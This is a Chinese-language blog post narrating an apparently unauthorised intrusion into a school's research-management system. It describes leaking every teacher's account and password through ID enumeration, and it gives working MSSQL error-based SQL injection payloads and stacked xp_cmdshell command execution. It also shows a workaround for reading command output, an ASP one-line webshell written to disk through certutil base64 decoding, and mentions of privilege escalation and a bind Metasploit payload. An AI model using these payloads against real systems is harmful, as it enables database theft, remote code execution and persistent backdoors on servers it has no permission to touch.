渗透测试

记一次校内的XX系统渗透

Posted on 2020-10-28,4 min read

首先进入主页是这个样子

F12也没找到啥接口。爆破也没出来。注入也无。。。。陷入僵局。
然后继续翻IP。搜到一个人力资源管理系统

F12有惊喜。这里背景图片居然是download+id。

然后顺势遍历一波ID。TM居然拿到了全校老师的账号密码?????
拿到账号密码。回去科研管理系统登陆一波
所有功能都点一遍。熟悉下环境

看这URL。。有点熟悉。这套系统还是Asp的。。后端应该就是IIS+Asp+SqlServer

熟悉了下语句。后端应该是
select xxxx from xxxx where 1=1 +and+left(CheckResult,2)>=12++and+(*,*+AllUsers+*,*+like+*~,10432,~*+)+ and ProjLevel=*03*
上语句。看看能不能报错注入。

成功带出数据
然后就查当前用户(dbo),查库查表

查库
trWhere=1=convert(int,(db_name()))--
查版本信息
strWhere=1=convert(int,(@@version))--
获取数据库
strWhere=1=convert(int,(select name from master..sysdatabases for xml path))--

碰到mssql。那必得试一波XP_CMDSHELL😏

trWhere=1=0;exec master..xp_cmdshell 'whoami';--

啊这没回显。

用dnslog验证下。。这里简单说一下坑点

exec master..xp_cmdshell 'ping xxxxxxx';
虽然接到了请求。但是请求的IP查出来是google的节点服务器????
不去ping。又接不到请求。。就迷惑。

然后继续搜文件。发现可以创建数据表。把xp_cmdshell的执行结果写入数据表

trWhere=1=0;CREATE TABLE tt_tmp (id int identity(1,1),constraint pkid primary key (id),tmp1 varchar(8000));--
//创建一个自增表。等会就可以通过id去查询结果。这个web。只能输出一条结果。而Mssql又没有limit 1,1这种具体读第N条数据的语句。只有TOP 2。返回两条数据
trWhere=1=0;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'whoami';--
//写入命令执行的结果
trWhere=1=(select  tmp1 from tt_tmp where id=1)--
//通过id查询

Mssql的xp_cmdshell执行时。会把\n单独一行。。所以这里用ID具体查询。

执行下whoami。发现是System权限。那么直接写个webshell。
之前用certutil请求VPS。没收到。DNS也迷惑。感觉是不出网。学生网段和服务器网段也不能直通。。只想到写shell了
首先dir c:\ D:\ e:\。发现e:\科研管理系统
感觉就是web目录。然而。。各种奇奇怪怪的编码问题。
这里一开始用的是

for /r e:\\ %i in (Login.aspx) do @echo %i
然后就可以列出e:\所有目录。一个个慢慢找咯

虽然找到了Web目录。我还是解决不了这个编码问题。进都进不去。那咋写shell
正解:
URL输入的是UTF-8。服务端却是GBK。所以嘚转一下。解密后URL编码传入。这里感谢123qwer大师傅的指点

base64.b64encode("科研管理系统".encode("gbk"))

然后继续找啊找。发现了web目录

然后写shell又被恶心到了
xp_cmdshell的单引号不解析我的URL编码,但是双引号解析????这我记得是浏览器会自动解析的啊。。
然后asp一句话又有单引号。尖括号特殊字符

<%eval request("pass")%>

这我直接自闭。整了半天。要么就是直接报错。要么就是写入的文件没引号了
最后想到看过的一篇文章。利用certutil转码写入文件

echo PCVleGVjdXRlKHJlcXVlc3QoInBhc3MiKSklPg== > web目录\sorry.txt
certutil -decode web目录\sorry.txt  web目录\sorry.asp

直接用base64解码写入了。省去了很多烦恼
当我访问时。却是500??然后尝试用菜刀链接了下。居然可以连。。
之后就随便整了。Server2008补丁很少。可以用exp直接提权。或者
xp_cmdshell是system权限。传个bind msf马。xp_cmdshell执行下
我们去连就拿到system了

删表跑路告辞告辞

下一篇: N1CTF Docker_manager(CURL参数注入)→